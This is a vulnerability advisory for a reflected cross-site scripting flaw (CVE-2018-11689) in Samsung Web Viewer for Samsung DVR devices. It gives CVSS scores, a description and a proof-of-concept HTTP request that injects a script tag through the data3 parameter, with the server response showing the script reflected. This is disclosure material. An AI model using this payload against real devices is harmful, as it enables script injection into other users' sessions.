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Samsung Web Viewer For Samsung DVR Cross Site Scripting
2018.06.14
Credit:
Yavuz Atlas
Risk:
Low
Local:
No
Remote:
Yes
CVE:
CVE-2018-11689
CWE:
CWE-79
CVSS Base Score:
4.3/10
Impact Subscore:
2.9/10
Exploitability Subscore:
8.6/10
Exploit range:
Remote
Attack complexity:
Medium
Authentication:
No required
Confidentiality impact:
None
Integrity impact:
Partial
Availability impact:
None
I. VULNERABILITY ------------------------- Samsung Web Viewer for Samsung DVR Reflected Cross Site Scripting (XSS) II. CVE REFERENCE ------------------------- CVE-2018-11689 III. REFERENCES ------------------------- https://vulmon.com/vulnerabilitydetails?qid=CVE-2018-11689 IV. CREDIT ------------------------- Yavuz Atlas - Biznet Bilisim http://www.biznet.com.tr/biznet-guvenlik-duyurulari V. DESCRIPTION ------------------------- Samsung Web Viewer for Samsung DVR devices (Samsung Smart Viewer) is vulnerable to cross-site scripting. The vulnerability allows remote attackers to inject arbitrary web script or HTML. VI. PROOF OF CONCEPT ------------------------- Request: GET /cgi-bin/webviewer_login_page?lang=tu&loginvalue=0&port=0&data3=</script><script>alert(1)</script> HTTP/1.1 Host: 10.10.10.10 Response: HTTP/1.1 200 OK X-UA-Compatible: IE=EmulateIE9, requiresActiveX=true Content-type: text/html Connection: close Date: Wed, 23 May 2018 11:14:09 GMT Server: lighttpd/1.4.35 Content-Length: 10797 a| function setcookie(){ var val_rand = Math.random(); if(is_close_user_session == true) document.login_page_submit.close_user_session.value = 1; else document.login_page_submit.close_user_session.value = 0; document.login_page_submit.data1.value = data_parser(document.login_page.data1.value); document.login_page_submit.data2.value = do_encrypt(document.login_page.data2.value); document.login_page_submit.data3.value = </script><script>alert(1)</script>; document.login_page_submit.data4.value = val_rand; document.login_page_submit.submit(); } a|
References:
https://vulmon.com/vulnerabilitydetails?qid=CVE-2018-11689
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